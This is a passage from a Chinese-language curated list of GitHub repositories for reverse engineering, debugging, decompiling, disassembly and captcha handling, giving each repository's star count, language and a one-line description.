[Java] [oldmanpushcart/greys-anatomy](https://github.com/oldmanpushcart/greys-anatomy) Java诊断工具 - [**3243**星][6d] [Shell] [gfw-breaker/ssr-accounts](https://github.com/gfw-breaker/ssr-accounts) 一键部署Shadowsocks服务;免费Shadowsocks账号分享;免费SS账号分享; 翻墙;无界,自由门,SquirrelVPN - [**3233**星][17d] [C] [tmate-io/tmate](https://github.com/tmate-io/tmate) Instant Terminal Sharing - [**3219**星][2m] [TS] [google/incremental-dom](https://github.com/google/incremental-dom) An in-place DOM diffing library - [**3202**星][1y] [Shell] [toyodadoubi/doubi](https://github.com/toyodadoubi/doubi) 一个逗比写的各种逗比脚本~ - [**3188**星][3d] [C] [meetecho/janus-gateway](https://github.com/meetecho/janus-gateway) Janus WebRTC Server - [**3131**星][1m] [CSS] [readthedocs/sphinx_rtd_theme](https://github.com/readthedocs/sphinx_rtd_theme) Sphinx theme for readthedocs.org - [**3129**星][5d] [C] [qemu/qemu](https://github.com/qemu/qemu) Official QEMU mirror. Please see - [**3120**星][2d] [Go] [tencent/bk-cmdb](https://github.com/tencent/bk-cmdb) 蓝鲸智云配置平台(BlueKing CMDB) - [**3108**星][1m] [C] [unicorn-engine/unicorn](https://github.com/unicorn-engine/unicorn) Unicorn CPU emulator framework (ARM, AArch64, M68K, Mips, Sparc, X86) - [**3052**星][4m] [C++] [google/robotstxt](https://github.com/google/robotstxt) The repository contains Google's robots.txt parser and matcher as a C++ library (compliant to C++11). - [**3010**星][1y] [PHP] [owner888/phpspider](https://github.com/owner888/phpspider) 《我用爬虫一天时间“偷了”知乎一百万用户,只为证明PHP是世界上最好的语言 》所使用的程序 - [**2993**星][10d] [Py] [quantaxis/quantaxis](https://github.com/quantaxis/quantaxis) 支持任务调度 分布式部署的 股票/期货/自定义市场 数据/回测/模拟/交易/可视化 纯本地PAAS量化解决方案 - [**2980**星][6d] [ObjC] [google/santa](https://github.com/google/santa) 用于Mac系统的二进制文件白名单/黑名单系统 - [**2948**星][23d] [C] [libfuse/sshfs](https://github.com/libfuse/sshfs) A network filesystem client to connect to SSH servers - [**2898**星][7m] [C] [p-h-c/phc-winner-argon2](https://github.com/p-h-c/phc-winner-argon2) The password hash Argon2, winner of PHC - [**2872**星][6d] [C] [lxc/lxc](https://github.com/lxc/lxc) LXC - Linux Containers - [**2854**星][28d] [Py] [espressif/esptool](https://github.com/espressif/esptool) ESP8266 and ESP32 serial bootloader utility - [**2848**星][6m] [Py] [instantbox/instantbox](https://github.com/instantbox/instantbox) Get a clean, ready-to-go Linux box in seconds. - [**2833**星][2m] [Assembly] [cirosantilli/x86-bare-metal-examples](https://github.com/cirosantilli/x86-bare-metal-examples) 几十个用于学习 x86 系统编程的小型操作系统 - [**2815**星][12d] [C] [processhacker/processhacker](https://github.com/processhacker/processhacker) A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. - [**2808**星][10m] [Py] [plasma-disassembler/plasma](https://github.com/plasma-disassembler/plasma) Plasma is an interactive disassembler for x86/ARM/MIPS. It can generates indented pseudo-code with colored syntax. - [**2789**星][5d] [C++] [qtox/qtox](https://github.com/qtox/qtox) qTox is a chat, voice, video, and file transfer IM client using the encrypted peer-to-peer Tox protocol. - [**2772**星][2m] [JS] [trufflesuite/ganache-cli](https://github.com/trufflesuite/ganache-cli) Fast Ethereum RPC client for testing and development - [**2760**星][] [TS] [webhintio/hint](https://github.com/webhintio/hint) - [**2718**星][3m] [Py] [drivendata/cookiecutter-data-science](https://github.com/drivendata/cookiecutter-data-science) A logical, reasonably standardized, but flexible project structure for doing and sharing data science work. - [**2687**星][2d] [Go] [adguardteam/adguardhome](https://github.com/adguardteam/adguardhome) Network-wide ads & trackers blocking DNS server - [**2631**星][8m] [leandromoreira/linux-network-performance-parameters](https://github.com/leandromoreira/linux-network-performance-parameters) Learn where some of the network sysctl variables fit into the Linux/Kernel network flow - [**2627**星][15d] [JS] [popcorn-official/popcorn-desktop](https://github.com/popcorn-official/popcorn-desktop) Popcorn Time is a multi-platform, free software BitTorrent client that includes an integrated media player. Desktop ( Windows / Mac / Linux ) a Butter-Project Fork - [**2621**星][2m] [pditommaso/awesome-pipeline](https://github.com/pditommaso/awesome-pipeline) A curated list of awesome pipeline toolkits inspired by Awesome Sysadmin - [**2619**星][2m] [Swift] [zhuhaow/nekit](https://github.com/zhuhaow/nekit) A toolkit for Network Extension Framework - [**2615**星][1m] [JS] [knownsec/kcon](https://github.com/knownsec/kcon) KCon is a famous Hacker Con powered by Knownsec Team. - [**2587**星][2d] [C] [esnet/iperf](https://github.com/esnet/iperf) A TCP, UDP, and SCTP network bandwidth measurement tool - [**2535**星][2m] [Java] [jboss-javassist/javassist](https://github.com/jboss-javassist/javassist) Java bytecode engineering toolkit - [**2478**星][11m] [JS] [weixin/miaow](https://github.com/weixin/Miaow) A set of plugins for Sketch include drawing links & marks, UI Kit & Color sync, font & text replacing. - [**2474**星][17d] [JS] [vitaly-t/pg-promise](https://github.com/vitaly-t/pg-promise) PostgreSQL interface for Node.js - [**2391**星][12d] [Java] [mock-server/mockserver](https://github.com/mock-server/mockserver) MockServer enables easy mocking of any system you integrate with via HTTP or HTTPS with clients written in Java, JavaScript and Ruby. MockServer also includes a proxy that introspects all proxied traffic including encrypted SSL traffic and supports Port Forwarding, Web Proxying (i.e. HTTP proxy), HTTPS Tunneling Proxying (using HTTP CONNECT) and… - [**2364**星][2d] [C] [domoticz/domoticz](https://github.com/domoticz/domoticz) monitor and configure various devices like: Lights, Switches, various sensors/meters like Temperature, Rain, Wind, UV, Electra, Gas, Water and much more - [**2345**星][3m] [Go] [vuvuzela/vuvuzela](https://github.com/vuvuzela/vuvuzela) Private messaging system that hides metadata - [**2344**星][8d] [C] [tsl0922/ttyd](https://github.com/tsl0922/ttyd) Share your terminal over the web - [**2340**星][2m] [JS] [pa11y/pa11y](https://github.com/pa11y/pa11y) Pa11y is your automated accessibility testing pal - [**2305**星][2m] [C] [moby/hyperkit](https://github.com/moby/hyperkit) A toolkit for embedding hypervisor capabilities in your application - [**2286**星][1m] [JS] [talkingdata/inmap](https://github.com/talkingdata/inmap) 大数据地理可视化 - [**2260**星][5d] [dumb-password-rules/dumb-password-rules](https://github.com/dumb-password-rules/dumb-password-rules) Shaming sites with dumb password rules. - [**2217**星][6d] [Go] [google/mtail](https://github.com/google/mtail) extract whitebox monitoring data from application logs for collection in a timeseries database - [**2214**星][10d] [getlantern/lantern-binaries](https://github.com/getlantern/lantern-binaries) Lantern installers binary downloads. - [**2211**星][1m] [C++] [google/bloaty](https://github.com/google/bloaty) Bloaty McBloatface: a size profiler for binaries - [**2194**星][4d] [C] [armmbed/mbedtls](https://github.com/armmbed/mbedtls) An open source, portable, easy to use, readable and flexible SSL library - [**2137**星][11d] [Assembly] [pret/pokered](https://github.com/pret/pokered) disassembly of Pokémon Red/Blue - [**2132**星][12d] [goq/telegram-list](https://github.com/goq/telegram-list) List of telegram groups, channels & bots // Список интересных групп, каналов и ботов телеграма // Список чатов для программистов - [**2093**星][] [C] [flatpak/flatpak](https://github.com/flatpak/flatpak) Linux application sandboxing and distribution framework - [**2092**星][18d] [swiftonsecurity/sysmon-config](https://github.com/swiftonsecurity/sysmon-config) Sysmon configuration file template with default high-quality event tracing - [**2080**星][1m] [Go] [theupdateframework/notary](https://github.com/theupdateframework/notary) Notary is a project that allows anyone to have trust over arbitrary collections of data - [**2053**星][4m] [Go] [maxmcd/webtty](https://github.com/maxmcd/webtty) Share a terminal session over WebRTC - [**2053**星][16d] [C#] [mathewsachin/captura](https://github.com/mathewsachin/captura) Capture Screen, Audio, Cursor, Mouse Clicks and Keystrokes - [**2052**星][5d] [C++] [openthread/openthread](https://github.com/openthread/openthread) OpenThread released by Google is an open-source implementation of the Thread networking protocol - [**2031**星][10m] [C] [dekunukem/nintendo_switch_reverse_engineering](https://github.com/dekunukem/nintendo_switch_reverse_engineering) A look at inner workings of Joycon and Nintendo Switch - [**2003**星][2m] [C++] [asmjit/asmjit](https://github.com/asmjit/asmjit) Complete x86/x64 JIT and AOT Assembler for C++ - [**1998**星][1m] [Swift] [github/softu2f](https://github.com/github/softu2f) Software U2F authenticator for macOS - [**1955**星][3d] [Go] [solo-io/gloo](https://github.com/solo-io/gloo) An Envoy-Powered API Gateway - [**1949**星][9d] [C] [microsoft/procdump-for-linux](https://github.com/microsoft/procdump-for-linux) Linux 版本的 ProcDump - [**1930**星][14d] [C++] [mhammond/pywin32](https://github.com/mhammond/pywin32) Python for Windows (pywin32) Extensions - [**1907**星][10d] [Go] [minishift/minishift](https://github.com/minishift/minishift) Run OpenShift 3.x locally - [**1899**星][17d] [C++] [acidanthera/lilu](https://github.com/acidanthera/Lilu) Arbitrary kext and process patching on macOS - [**1877**星][17d] [Java] [adoptopenjdk/jitwatch](https://github.com/adoptopenjdk/jitwatch) Log analyser / visualiser for Java HotSpot JIT compiler. Inspect inlining decisions, hot methods, bytecode, and assembly. View results in the JavaFX user interface. - [**1863**星][2d] [C++] [pytorch/glow](https://github.com/pytorch/glow) Compiler for Neural Network hardware accelerators - [**1859**星][12m] [C++] [googlecreativelab/open-nsynth-super](https://github.com/googlecreativelab/open-nsynth-super) Open NSynth Super is an experimental physical interface for the NSynth algorithm - [**1854**星][11d] [C] [github/glb-director](https://github.com/github/glb-director) GitHub Load Balancer Director and supporting tooling. - [**1852**星][1y] [Py] [jinnlynn/genpac](https://github.com/jinnlynn/genpac) PAC/Dnsmasq/Wingy file Generator, working with gfwlist, support custom rules. - [**1851**星][1y] [Java] [yeriomin/yalpstore](https://github.com/yeriomin/yalpstore) Download apks from Google Play Store - [**1848**星][9m] [Py] [netflix-skunkworks/stethoscope](https://github.com/Netflix-Skunkworks/stethoscope) Personalized, user-focused recommendations for employee information security. - [**1846**星][2m] [C] [retroplasma/earth-reverse-engineering](https://github.com/retroplasma/earth-reverse-engineering) Reversing Google's 3D satellite mode - [**1837**星][3m] [Go] [influxdata/kapacitor](https://github.com/influxdata/kapacitor) Open source framework for processing, monitoring, and alerting on time series data - [**1827**星][5d] [Py] [trailofbits/manticore](https://github.com/trailofbits/manticore) 动态二进制分析工具,支持符号执行(symbolic execution)、污点分析(taint analysis)、运行时修改。 - [**1816**星][21d] [Go] [gdamore/tcell](https://github.com/gdamore/tcell) Tcell is an alternate terminal package, similar in some ways to termbox, but better in others. - [**1786**星][26d] [C++] [apitrace/apitrace](https://github.com/apitrace/apitrace) Tools for tracing OpenGL, Direct3D, and other graphics APIs - [**1781**星][18d] [PHP] [ezyang/htmlpurifier](https://github.com/ezyang/htmlpurifier) Standards compliant HTML filter written in PHP - [**1779**星][21d] [17mon/china_ip_list](https://github.com/17mon/china_ip_list) - [**1761**星][1y] [JS] [puppeteer/examples](https://github.com/puppeteer/examples) Use case-driven examples for using Puppeteer and headless chrome - [**1761**星][4d] [C] [google/wuffs](https://github.com/google/wuffs) Wrangling Untrusted File Formats Safely - [**1756**星][8d] [PHP] [wordpress/wordpress-coding-standards](https://github.com/wordpress/wordpress-coding-standards) PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions - [**1727**星][t] [TSQL] [brentozarultd/sql-server-first-responder-kit](https://github.com/brentozarultd/sql-server-first-responder-kit) sp_Blitz, sp_BlitzCache, sp_BlitzFirst, sp_BlitzIndex, and other SQL Server scripts for health checks and performance tuning. - [**1722**星][4m] [Py] [anorov/cloudflare-scrape](https://github.com/anorov/cloudflare-scrape) A Python module to bypass Cloudflare's anti-bot page. - [**1714**星][27d] [Go] [hashicorp/memberlist](https://github.com/hashicorp/memberlist) Golang package for gossip based membership and failure detection - [**1698**星][13d] [C++] [microsoft/detours](https://github.com/microsoft/detours) Detours is a software package for monitoring and instrumenting API calls on Windows. It is distributed in source code form. - [**1676**星][2d] [Java] [apache/geode](https://github.com/apache/geode) Apache Geode - [**1672**星][7m] [C] [easyhook/easyhook](https://github.com/easyhook/easyhook) The reinvention of Windows API Hooking - [**1668**星][3m] [Py] [boppreh/keyboard](https://github.com/boppreh/keyboard) Hook and simulate global keyboard events on Windows and Linux. - [**1659**星][16d] [JS] [tylerbrock/mongo-hacker](https://github.com/tylerbrock/mongo-hacker) MongoDB Shell Enhancements for Hackers - [**1650**星][5d] [sarojaba/awesome-devblog](https://github.com/sarojaba/awesome-devblog) 어썸데브블로그. 국내 개발 블로그 모음(only 실명으로). - [**1637**星][4d] [JS] [efforg/privacybadger](https://github.com/efforg/privacybadger) Privacy Badger is a browser extension that automatically learns to block invisible trackers. - [**1624**星][9m] [JS] [localtunnel/server](https://github.com/localtunnel/server) server for localtunnel.me - [**1620**星][8d] [C++] [lief-project/lief](https://github.com/lief-project/lief) Library to Instrument Executable Formats - [**1592**星][2m] [ObjC] [ealeksandrov/provisionql](https://github.com/ealeksandrov/provisionql) Quick Look plugin for apps and provisioning profile files - [**1584**星][1y] [C] [qihoo360/phptrace](https://github.com/qihoo360/phptrace) A tracing and troubleshooting tool for PHP scripts. - [**1572**星][25d] [C] [codahale/bcrypt-ruby](https://github.com/codahale/bcrypt-ruby) Ruby binding for the OpenBSD bcrypt() password hashing algorithm, allowing you to easily store a secure hash of your users' passwords. - [**1562**星][29d] [C] [p-gen/smenu](https://github.com/p-gen/smenu) Terminal utility that reads words from standard input or from a file and creates an interactive selection window just below the cursor. The selected word(s) are sent to standard output for further processing. - [**1562**星][11d] [Java] [gchq/gaffer](https://github.com/gchq/Gaffer) A large-scale entity and relation database supporting aggregation of properties - [**966**星][7m] [PHP] [jenssegers/optimus](https://github.com/jenssegers/optimus) id transformation With this library, you can transform your internal id's to obfuscated integers based on Knuth's integer has和 - [**906**星][7m] [C++] [dfhack/dfhack](https://github.com/DFHack/dfhack) Memory hacking library for Dwarf Fortress and a set of tools that use it - [**895**星][11m] [JS] [levskaya/jslinux-deobfuscated](https://github.com/levskaya/jslinux-deobfuscated) An old version of Mr. Bellard's JSLinux rewritten to be human readable, hand deobfuscated and annotated. - [**706**星][1y] [Jupyter Notebook] [anishathalye/obfuscated-gradients](https://github.com/anishathalye/obfuscated-gradients) Obfuscated Gradients Give a False Sense of Security: Circumventing Defenses to Adversarial Examples - [**658**星][10m] [Jupyter Notebook] [supercowpowers/data_hacking](https://github.com/SuperCowPowers/data_hacking) Data Hacking Project - [**657**星][1y] [Rust] [endgameinc/xori](https://github.com/endgameinc/xori) Xori is an automation-ready disassembly and static analysis library for PE32, 32+ and shellcode - [**637**星][13d] [PS] [olafhartong/sysmon-modular](https://github.com/olafhartong/sysmon-modular) sysmon配置模块收集 - [**587**星][6m] [nshalabi/sysmontools](https://github.com/nshalabi/sysmontools) Utilities for Sysmon - [**568**星][11m] [JS] [raineorshine/solgraph](https://github.com/raineorshine/solgraph) Visualize Solidity control flow for smart contract security analysis. - [**523**星][1m] [mhaggis/sysmon-dfir](https://github.com/mhaggis/sysmon-dfir) Sources, configuration and how to detect evil things utilizing Microsoft Sysmon. - [**522**星][4m] [Java] [java-deobfuscator/deobfuscator](https://github.com/java-deobfuscator/deobfuscator) Java 代码反混淆工具 - [**507**星][8m] [JS] [mindedsecurity/jstillery](https://github.com/mindedsecurity/jstillery) Advanced JavaScript Deobfuscation via Partial Evaluation - [**480**星][1y] [ksluckow/awesome-symbolic-execution](https://github.com/ksluckow/awesome-symbolic-execution) A curated list of awesome symbolic execution resources including essential research papers, lectures, videos, and tools. - [**449**星][12m] [C++] [ntquery/scylla](https://github.com/ntquery/scylla) Imports Reconstructor - [**447**星][3m] [Go] [retroplasma/flyover-reverse-engineering](https://github.com/retroplasma/flyover-reverse-engineering) Reversing Apple's 3D satellite mode - [**446**星][11m] [Batchfile] [ion-storm/sysmon-config](https://github.com/ion-storm/sysmon-config) Advanced Sysmon configuration, Installer & Auto Updater with high-quality event tracing - [**408**星][11d] [Py] [crytic/slither](https://github.com/crytic/slither) Static Analyzer for Solidity - [**383**星][1y] [HTML] [maestron/reverse-engineering-tutorials](https://github.com/maestron/reverse-engineering-tutorials) Reverse Engineering Tutorials - [**344**星][1y] [Ruby] [calebfenton/dex-oracle](https://github.com/calebfenton/dex-oracle) A pattern based Dalvik deobfuscator which uses limited execution to improve semantic analysis - [**308**星][16d] [Py] [baderj/domain_generation_algorithms](https://github.com/baderj/domain_generation_algorithms) 域名生成算法 - [**306**星][1m] [C] [nagyd/sdlpop](https://github.com/nagyd/sdlpop) An open-source port of Prince of Persia, based on the disassembly of the DOS version. - [**291**星][20d] [C] [tomb5/tomb5](https://github.com/tomb5/tomb5) Chronicles Disassembly translated to C source code. - [**265**星][2m] [Assembly] [pret/pokeyellow](https://github.com/pret/pokeyellow) Disassembly of Pokemon Yellow - [**240**星][4m] [JS] [consensys/surya](https://github.com/consensys/surya) A set of utilities for exploring Solidity contracts - [**214**星][2m] [Py] [rpisec/llvm-deobfuscator](https://github.com/rpisec/llvm-deobfuscator) - [**211**星][12m] [Java] [neo23x0/fnord](https://github.com/neo23x0/fnord) Pattern Extractor for Obfuscated Code *** ## <a id="bc2b78af683e7ba983205592de8c3a7a"></a>工具-其他 *** ## <a id="4fe330ae3e5ce0b39735b1bfea4528af"></a>angr ### <a id="1ede5ade1e55074922eb4b6386f5ca65"></a>工具 - [**534**星][4d] [Py] [angr/angr-doc](https://github.com/angr/angr-doc) Documentation for the angr suite - [**305**星][2m] [Py] [salls/angrop](https://github.com/salls/angrop) a rop gadget finder and chain builder ### <a id="042ef9d415350eeb97ac2539c2fa530e"></a>文章 *** ## <a id="324874bb7c3ead94eae6f1fa1af4fb68"></a>Debug&&调试 ### <a id="d22bd989b2fdaeda14b64343b472dfb6"></a>工具 - [**1450**星][2d] [Go] [google/gapid](https://github.com/google/gapid) Graphics API Debugger - [**1422**星][9d] [C++] [eteran/edb-debugger](https://github.com/eteran/edb-debugger) edb is a cross platform AArch32/x86/x86-64 debugger. - [**1413**星][11d] [Go] [cosmos72/gomacro](https://github.com/cosmos72/gomacro) Interactive Go interpreter and debugger with REPL, Eval, generics and Lisp-like macros - [**1275**星][3m] [Go] [solo-io/squash](https://github.com/solo-io/squash) The debugger for microservices - [**1147**星][5m] [C++] [cgdb/cgdb](https://github.com/cgdb/cgdb) Console front-end to the GNU debugger - [**1128**星][12d] [C] [blacksphere/blackmagic](https://github.com/blacksphere/blackmagic) In application debugger for ARM Cortex microcontrollers. - [**899**星][2d] [Py] [derekselander/lldb](https://github.com/derekselander/lldb) A collection of LLDB aliases/regexes and Python scripts to aid in your debugging sessions - [**836**星][t] [C++] [tasvideos/bizhawk](https://github.com/tasvideos/bizhawk) BizHawk is a multi-system emulator written in C#. BizHawk provides nice features for casual gamers such as full screen, and joypad support in addition to full rerecording and debugging tools for all system cores. - [**560**星][13d] [C#] [microsoft/miengine](https://github.com/microsoft/miengine) The Visual Studio MI Debug Engine ("MIEngine") provides an open-source Visual Studio Debugger extension that works with MI-enabled debuggers such as gdb, lldb, and clrdbg. - [**521**星][1y] [C] [wubingzheng/memleax](https://github.com/wubingzheng/memleax) debugs memory leak of running process. Not maintained anymore, try `libleak` please. - [**462**星][4m] [C++] [emoon/prodbg](https://github.com/emoon/prodbg) Debugging the way it's meant to be done - [**423**星][3m] [C++] [cobaltfusion/debugviewpp](https://github.com/cobaltfusion/debugviewpp) DebugView++, collects, views, filters your application logs, and highlights information that is important to you! - [**418**星][18d] [C++] [simonkagstrom/kcov](https://github.com/simonkagstrom/kcov) Code coverage tool for compiled programs, Python and Bash which uses debugging information to collect and report data without special compilation options - [**377**星][1m] [Py] [pdbpp/pdbpp](https://github.com/pdbpp/pdbpp) pdb++, a drop-in replacement for pdb (the Python debugger) - [**332**星][8m] [Py] [romanvm/python-web-pdb](https://github.com/romanvm/python-web-pdb) Web-based remote UI for Python's PDB debugger - [**306**星][13d] [Java] [widdix/aws-s3-virusscan](https://github.com/widdix/aws-s3-virusscan) Free Antivirus for S3 Buckets - [**291**星][4d] [Py] [sosreport/sos](https://github.com/sosreport/sos) A unified tool for collecting system logs and other debug information - [**285**星][2m] [C++] [changeofpace/viviennevmm](https://github.com/changeofpace/viviennevmm) VivienneVMM is a stealthy debugging framework implemented via an Intel VT-x hypervisor. - [**272**星][4m] [Py] [mariovilas/winappdbg](https://github.com/mariovilas/winappdbg) WinAppDbg Debugger - [**270**星][13d] [Py] [ionelmc/python-manhole](https://github.com/ionelmc/python-manhole) Debugging manhole for python applications. - [**250**星][1m] [Py] [quantopian/qdb](https://github.com/quantopian/qdb) Quantopian Remote Debugger for Python - [**240**星][5m] [C++] [facebook/ds2](https://github.com/facebook/ds2) Debug server for lldb. - [**239**星][8m] [C++] [strivexjun/xantidebug](https://github.com/strivexjun/xantidebug) VMProtect 3.x Anti-debug Method Improved - [**239**星][8m] [Py] [beeware/bugjar](https://github.com/beeware/bugjar) A interactive graphical debugger for Python code. - [**233**星][2m] [Py] [gilligan/vim-lldb](https://github.com/gilligan/vim-lldb) lldb debugger integration plugin for vim - [**220**星][8m] [letoram/senseye](https://github.com/letoram/senseye) Dynamic Visual Debugging / Reverse Engineering Toolsuite - [**218**星][1m] [Py] [nteseyes/pylane](https://github.com/nteseyes/pylane) An python vm injector with debug tools, based on gdb. - [**213**星][3d] [C++] [thalium/icebox](https://github.com/thalium/icebox) Virtual Machine Introspection, Tracing & Debugging - [**209**星][2m] [C] [joyent/mdb_v8](https://github.com/joyent/mdb_v8) postmortem debugging for Node.js and other V8-based programs - [**200**星][5m] [C++] [rainers/cv2pdb](https://github.com/rainers/cv2pdb) converter of DMD CodeView/DWARF debug information to PDB files ### <a id="136c41f2d05739a74c6ec7d8a84df1e8"></a>文章 *** ## <a id="9f8d3f2c9e46fbe6c25c22285c8226df"></a>BAP ### <a id="f10e9553770db6f98e8619dcd74166ef"></a>工具 - [**1106**星][6d] [OCaml] [binaryanalysisplatform/bap](https://github.com/binaryanalysisplatform/bap) Binary Analysis Platform - [**411**星][5d] [HTML] [w3c/webappsec](https://github.com/w3c/webappsec) Web App安全工作组 - [**299**星][9d] [JS] [w3c/webappsec-trusted-types](https://github.com/w3c/webappsec-trusted-types) A browser API to prevent DOM-Based Cross Site Scripting in modern web applications. ### <a id="e111826dde8fa44c575ce979fd54755d"></a>文章 *** ## <a id="2683839f170250822916534f1db22eeb"></a>BinNavi ### <a id="2e4980c95871eae4ec0e76c42cc5c32f"></a>工具 - [**382**星][18d] [C++] [google/binexport](https://github.com/google/binexport) 将反汇编以Protocol Buffer的形式导出为PostgreSQL数据库, 导入到BinNavi中使用 - 重复区段: [IDA->插件->导入导出->BinNavi](#11139e7d6db4c1cef22718868f29fe12) | ### <a id="ff4dc5c746cb398d41fb69a4f8dfd497"></a>文章 *** ## <a id="0971f295b0f67dc31b7aa45caf3f588f"></a>Decompiler&&反编译器 ### <a id="e67c18b4b682ceb6716388522f9a1417"></a>工具 - [**20779**星][t] [Java] [skylot/jadx](https://github.com/skylot/jadx) dex 转 java 的反编译器 - [**7733**星][1m] [Java] [java-decompiler/jd-gui](https://github.com/java-decompiler/jd-gui) A standalone Java Decompiler GUI - [**3135**星][18d] [Java] [deathmarine/luyten](https://github.com/deathmarine/luyten) An Open Source Java Decompiler Gui for Procyon - [**1867**星][1y] [Java] [jindrapetrik/jpexs-decompiler](https://github.com/jindrapetrik/jpexs-decompiler) JPEXS Free Flash Decompiler - [**1652**星][12m] [Java] [fesh0r/fernflower](https://github.com/fesh0r/fernflower) Unofficial mirror of FernFlower Java decompiler (All pulls should be submitted upstream) - [**1466**星][4d] [Py] [rocky/python-uncompyle6](https://github.com/rocky/python-uncompyle6) Python反编译器,跨平台 - [**1084**星][3m] [Py] [storyyeller/krakatau](https://github.com/storyyeller/krakatau) Java decompiler, assembler, and disassembler - [**764**星][12m] [C++] [comaeio/porosity](https://github.com/comaeio/porosity) *UNMAINTAINED* Decompiler and Security Analysis tool for Blockchain-based Ethereum Smart-Contracts - [**673**星][10d] [C#] [uxmal/reko](https://github.com/uxmal/reko) Reko is a binary decompiler. - [**671**星][11m] [C++] [zrax/pycdc](https://github.com/zrax/pycdc) C++ python bytecode disassembler and decompiler - [**538**星][5m] [Java] [java-decompiler/jd-eclipse](https://github.com/java-decompiler/jd-eclipse) A Java Decompiler Eclipse plugin - [**347**星][8d] [C#] [steamdatabase/valveresourceformat](https://github.com/steamdatabase/valveresourceformat) Valve's Source 2 resource file format (also known as Stupid Valve Format) parser and decompiler. - [**331**星][3d] [Java] [leibnitz27/cfr](https://github.com/leibnitz27/cfr) This is the public repository for the CFR Java decompiler - [**327**星][1m] [C++] [silverf0x/rpcview](https://github.com/silverf0x/rpcview) RpcView is a free tool to explore and decompile Microsoft RPC interfaces - [**283**星][8m] [Shell] [venshine/decompile-apk](https://github.com/venshine/decompile-apk) APK 反编译 - [**243**星][3m] [Java] [kwart/jd-cmd](https://github.com/kwart/jd-cmd) Command line Java Decompiler - [**242**星][3d] [C#] [icsharpcode/avaloniailspy](https://github.com/icsharpcode/avaloniailspy) Avalonia-based .NET Decompiler (port of ILSpy) - [**240**星][2m] [Java] [ata4/bspsrc](https://github.com/ata4/bspsrc) A Source engine map decompiler - [**232**星][1y] [C++] [wwwg/wasmdec](https://github.com/wwwg/wasmdec) WebAssembly to C decompiler - [**226**星][3d] [C++] [boomerangdecompiler/boomerang](https://github.com/BoomerangDecompiler/boomerang) Boomerang Decompiler - Fighting the code-rot :) ### <a id="a748b79105651a8fd8ae856a7dc2b1de"></a>文章 *** ## <a id="2df6d3d07e56381e1101097d013746a0"></a>Disassemble&&反汇编 ### <a id="59f472c7575951c57d298aef21e7d73c"></a>工具 - [**1374**星][12d] [C] [zyantific/zydis](https://github.com/zyantific/zydis) 快速的轻量级x86/x86-64 反汇编库 - [**1346**星][12m] [Rust] [das-labor/panopticon](https://github.com/das-labor/panopticon) A libre cross-platform disassembler. - [**877**星][11m] [C++] [wisk/medusa](https://github.com/wisk/medusa) An open source interactive disassembler - [**835**星][t] [GLSL] [khronosgroup/spirv-cross](https://github.com/khronosgroup/spirv-cross) a practical tool and library for performing reflection on SPIR-V and disassembling SPIR-V back to high level languages. - [**828**星][2m] [C++] [redasmorg/redasm](https://github.com/redasmorg/redasm) The OpenSource Disassembler - [**627**星][3m] [C] [gdabah/distorm](https://github.com/gdabah/distorm) Powerful Disassembler Library For x86/AMD64 - [**430**星][1m] [C#] [0xd4d/iced](https://github.com/0xd4d/iced) x86/x64 disassembler, instruction decoder & encoder - [**351**星][13d] [Ruby] [jjyg/metasm](https://github.com/jjyg/metasm) This is the main repository for metasm, a free assembler / disassembler / compiler written in ruby - [**246**星][5m] [Py] [bontchev/pcodedmp](https://github.com/bontchev/pcodedmp) A VBA p-code disassembler ### <a id="a6eb5a22deb33fc1919eaa073aa29ab5"></a>文章 *** ## <a id="975d9f08e2771fccc112d9670eae1ed1"></a>GDB ### <a id="5f4381b0a90d88dd2296c2936f7e7f70"></a>工具 - [**7019**星][2d] [JS] [cs01/gdbgui](https://github.com/cs01/gdbgui) Browser-based frontend to gdb (gnu debugger). Add breakpoints, view the stack, visualize data structures, and more in C, C++, Go, Rust, and Fortran. Run gdbgui from the terminal and a new tab will open in your browser. - [**6052**星][5d] [Py] [cyrus-and/gdb-dashboard](https://github.com/cyrus-and/gdb-dashboard) Modular visual interface for GDB in Python - [**3784**星][11m] [Py] [longld/peda](https://github.com/longld/peda) Python Exploit Development Assistance for GDB - [**2568**星][30d] [Py] [hugsy/gef](https://github.com/hugsy/gef) gdb增强工具,使用Python API,用于漏洞开发和逆向分析。 - [**2439**星][8d] [Py] [pwndbg/pwndbg](https://github.com/pwndbg/pwndbg) GDB插件,辅助漏洞开发和逆向 - [**1417**星][3m] [Go] [hellogcc/100-gdb-tips](https://github.com/hellogcc/100-gdb-tips) A collection of gdb tips. 100 maybe just mean many here. - [**452**星][2m] [Py] [scwuaptx/pwngdb](https://github.com/scwuaptx/pwngdb) gdb for pwn - [**446**星][1y] [Py] [jfoote/exploitable](https://github.com/jfoote/exploitable) The 'exploitable' GDB plugin. I don't work at CERT anymore, but here is the original homepage: - [**244**星][1m] [JS] [bet4it/hyperpwn](https://github.com/bet4it/hyperpwn) A hyper plugin to provide a flexible GDB GUI with the help of GEF, pwndbg or peda - [**208**星][2m] [Py] [sakhnik/nvim-gdb](https://github.com/sakhnik/nvim-gdb) Neovim thin wrapper for GDB, LLDB and PDB ### <a id="37b17362d72f9c8793973bc4704893a2"></a>文章 *** ## <a id="9526d018b9815156cb001ceee36f6b1d"></a>Captcha&&验证码 ### <a id="1c6fda19fd076dcbda3ad733d7349e44"></a>工具 - [**1620**星][2m] [Ruby] [ambethia/recaptcha](https://github.com/ambethia/recaptcha) ReCaptcha helpers for ruby apps - [**1561**星][18d] [PHP] [mewebstudio/captcha](https://github.com/mewebstudio/captcha) Captcha for Laravel 5 & 6 - [**1184**星][4m] [PHP] [gregwar/captcha](https://github.com/gregwar/captcha) PHP Captcha library - [**1015**星][1m] [Py] [mbi/django-simple-captcha](https://github.com/mbi/django-simple-captcha) Django Simple Captcha is an extremely simple, yet highly customizable Django application to add captcha images to any Django form. - [**897**星][t] [Py] [kerlomz/captcha_trainer](https://github.com/kerlomz/captcha_trainer) 基于深度学习的图片验证码的解决方案 - [**642**星][10d] [Ruby] [markets/invisible_captcha](https://github.com/markets/invisible_captcha) Simple and flexible spam protection solution for Rails applications. - [**598**星][1y] [C++] [nladuo/captcha-break](https://github.com/nladuo/captcha-break) captcha break based on opencv2, tesseract-ocr and some machine learning algorithm. - [**423**星][5m] [Java] [bit4woo/recaptcha](https://github.com/bit4woo/recaptcha) reCAPTCHA = REcognize CAPTCHA: A Burp Suite Extender that recognize CAPTCHA and use for intruder payload 自动识别图形验证码并用于burp intruder爆破模块的插件 - [**324**星][9m] [JS] 